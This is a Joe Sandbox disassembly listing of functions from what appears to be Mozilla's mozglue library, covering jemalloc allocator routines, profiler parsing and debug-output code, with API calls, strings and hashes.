GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E671C
GetCurrentProcess.KERNEL32 ref: 6C4E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E672F
GetCurrentProcess.KERNEL32 ref: 6C4E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4E6A80
GetSystemInfo.KERNEL32(?), ref: 6C4E6ABE
__Init_thread_footer.LIBCMT ref: 6C4E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AF7

Strings

user32.dll, xrefs: 6C4E6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4E6798
detoured.dll, xrefs: 6C4E64DA
nvd3d9wrap.dll, xrefs: 6C4E6500
nvdxgiwrap.dll, xrefs: 6C4E6513
_etoured.dll, xrefs: 6C4E64ED

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction ID: 8e15aec114cd7d92f2b7387e684a5b0eab4d37ea80df763b28c2490418ce793b
Opcode Fuzzy Hash: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction Fuzzy Hash: BCF1D070E0522D8FDB20DF24CC48FDAB7B5AF4A31AF164299D919A3741D731AA85CF90

Function 6C4FD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C4FD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C4FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE315
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE37C
GetSystemInfo.KERNEL32(?), ref: 6C4FE3C7
__Init_thread_footer.LIBCMT ref: 6C4FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C4FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C4FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C4FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C4FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C4FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E768,00001388), ref: 6C4FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4FE52E
ReleaseSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE54F

Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(?), ref: 6C4ED999
Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EDA13

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FE560, 6C4FE58A, 6C4FE5A5
<jemalloc>, xrefs: 6C4FE61C, 6C4FE6CC
Compile-time page size does not divide the runtime one., xrefs: 6C4FE621
MALLOC_OPTIONS, xrefs: 6C4FE3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FE6DD
MOZ_CRASH(), xrefs: 6C4FE62B

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction ID: 2fbd2fec9a55deed0d6657ab91d470d3e08f6b48ed2f1841a27f281b1482fb45
Opcode Fuzzy Hash: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction Fuzzy Hash: C0929A71A056018FD714CF28C980F15BBE1BFC6729F2A866DE8698B791D375E842CBC1

Function 6C53C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C53C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E472

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2cdfb1ead994bd1fed14c2ddd2b557854a23ff3c887f10fbc81134bb95c135ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7933A171E0422ACFCB04CF98C8806EDBBF2FF89310F194669D959AB755E731A945CB90

Function 6C4FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C501695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C501770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C501A3E

Strings

~qMl, xrefs: 6C4FED13
~qMl, xrefs: 6C4FED10

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qMl$~qMl
API String ID: 3693777188-255395400
Opcode ID: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction ID: d6d4ad9df4256fbd43cd50f5440639ace5ed5b55fa5434d5de5cd44db3d29673
Opcode Fuzzy Hash: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction Fuzzy Hash: 29B30871E05219CFDB14CFA8C890A9DB7B2BF89304F2582A9D459EB745D730AD86CF90

Function 6C4EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4
<jemalloc>, xrefs: 6C4F0D62, 6C4F0D76, 6C4F0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C4F0D67, 6C4F0D7B, 6C4F0DAC

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction ID: 68c8dab6d5d5f8ea6cf21b829ba500b256dfabe0fa02d160ead08536d2f0a6f5
Opcode Fuzzy Hash: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction Fuzzy Hash: B6C26B71A057418FD714CF28C980F16BBE1AFC9328F29C66DE8698B795D771E842CB81

Function 6C53E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C53E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C540E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C540E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C540EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C540ED4

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction ID: 077e0eba54e88c49933abc04fe1b5042058d6b49d945e901388225da02ebb5b4
Opcode Fuzzy Hash: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction Fuzzy Hash: 3B637F71E0025ACFCB04CFA8C8906DDF7B2FF99310F298669D859AB755E730A945CB90

Function 6C513E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C537770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ql,?,?,?,6C513E7D,?,?), ref: 6C53777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C513F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C513F5C
VerSetConditionMask.NTDLL ref: 6C513F8D
VerSetConditionMask.NTDLL ref: 6C513F99
VerSetConditionMask.NTDLL ref: 6C513FA0
VerSetConditionMask.NTDLL ref: 6C513FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C513FB4

Strings

nvinit.dll, xrefs: 6C514479
C>Ql, xrefs: 6C513E93
nvd3d9wrap.dll, xrefs: 6C514466

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ql$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-947918438
Opcode ID: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction ID: be93751d23dc29b7c7e32b8488541a84d5618a6cc1945c1415c3851b8e56a7eb
Opcode Fuzzy Hash: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction Fuzzy Hash: AD52F272614B498FD710DF34C894EAB77E9AF85308F45492DD4968BB42DB34F909CBA0

Function 6C4EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4, 6C4F1A10
MOZ_CRASH(), xrefs: 6C4F0CA7

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction ID: 0be0ecd8a31981586b43d502becd83abb72e88ffaa5c7c758d1bbca9c5e24ae1
Opcode Fuzzy Hash: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction Fuzzy Hash: 82B27A71A057418FD714CF29C990F16BBE1AFC5328F28C66DE86A8B795D770E842CB81

Function 6C525600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C526131
expected a Time entry, xrefs: 6C525CB6
expected a Count entry, xrefs: 6C525AC3
schema, xrefs: 6C52606D
name, xrefs: 6C525E79, 6C525E8F
ProfileBuffer parse error: %s, xrefs: 6C525AC8, 6C525CBB

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction ID: f4459c656e1fe41993df9aee1870f2b864e689264ea688f59dd1ad08bf61bd51
Opcode Fuzzy Hash: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction Fuzzy Hash: 67924D71A083418FD724CF18C890B9BBBE1BFC9308F55891DE5999B795DB34E809CB92

Function 6C4E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4E7885
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4E78A5
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4E78AD
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4E78CD
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E7C82
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4E7DAF

Strings

DUl, xrefs: 6C4E787F
DUl, xrefs: 6C4E789F

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DUl$DUl
API String ID: 759993129-1314629681
Opcode ID: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction ID: b2e3c68baef8eb1db0a2846cb80f9712ae96c5bc8fd1d81cbc9da62cad2f1476
Opcode Fuzzy Hash: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction Fuzzy Hash: 32028331A052198FDB54CF18C984F99B7B5FF88329F6682AAD809A7711D770BD91CF80

Function 6C522E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C522ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C522EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C522F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C523214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C523242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5236BF

Strings

get , xrefs: 6C523205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C52378D
set , xrefs: 6C5236EC

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction ID: d2f6e2e7fe3b7c9a34a85e522faf1d6b11578a59a772b548f4bc02d36529a481
Opcode Fuzzy Hash: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction Fuzzy Hash: 29326F746083818FD324CF24C890A9EBBE6AFC9318F548D1DE5D987791DB34E94ACB52

Function 6C517E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C518280, 6C5183E1
vUl, xrefs: 6C518207
schema, xrefs: 6C5181E3, 6C518311
name, xrefs: 6C517ECF, 6C518335
(pre-xul), xrefs: 6C517E88

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vUl
API String ID: 3412268980-1420529217
Opcode ID: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction ID: 51701d9768cd75cdcda7e2b82927c136578e1ded9be4d208505e01051fd2d05d
Opcode Fuzzy Hash: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction Fuzzy Hash: B3E17071A043448BD714CF68C840A5BFBE9BFC9318F558A2DE895D7790DBB0DD098B91

Function 6C535FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C536009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C536024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QMl,?), ref: 6C536046
OutputDebugStringA.KERNEL32(?,QMl,?), ref: 6C536061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C536069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C55148E), ref: 6C536091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QMl,00000000,?), ref: 6C5360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5360C4

Strings

QMl, xrefs: 6C535FFC, 6C536042, 6C536045, 6C5360B3

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QMl
API String ID: 3835517998-1439696203
Opcode ID: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction ID: 03b2f784946ebf0a0da5de58f5c72874e34d19d9309acb398cd954644f84203d
Opcode Fuzzy Hash: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction Fuzzy Hash: A521E2B1A002189FDF106F24DC0DAAE7BB8FF45318F418428E81AD7240DB75A949CFD5

Function 6C4F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4F7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F7BCD, 6C4F7C1F, 6C4F7C34, 6C4F80FD
ewSl, xrefs: 6C4F5E9C, 6C4F5F22, 6C4F61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F72F8
MOZ_CRASH(), xrefs: 6C4F7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F72E3

Memory Dump Source

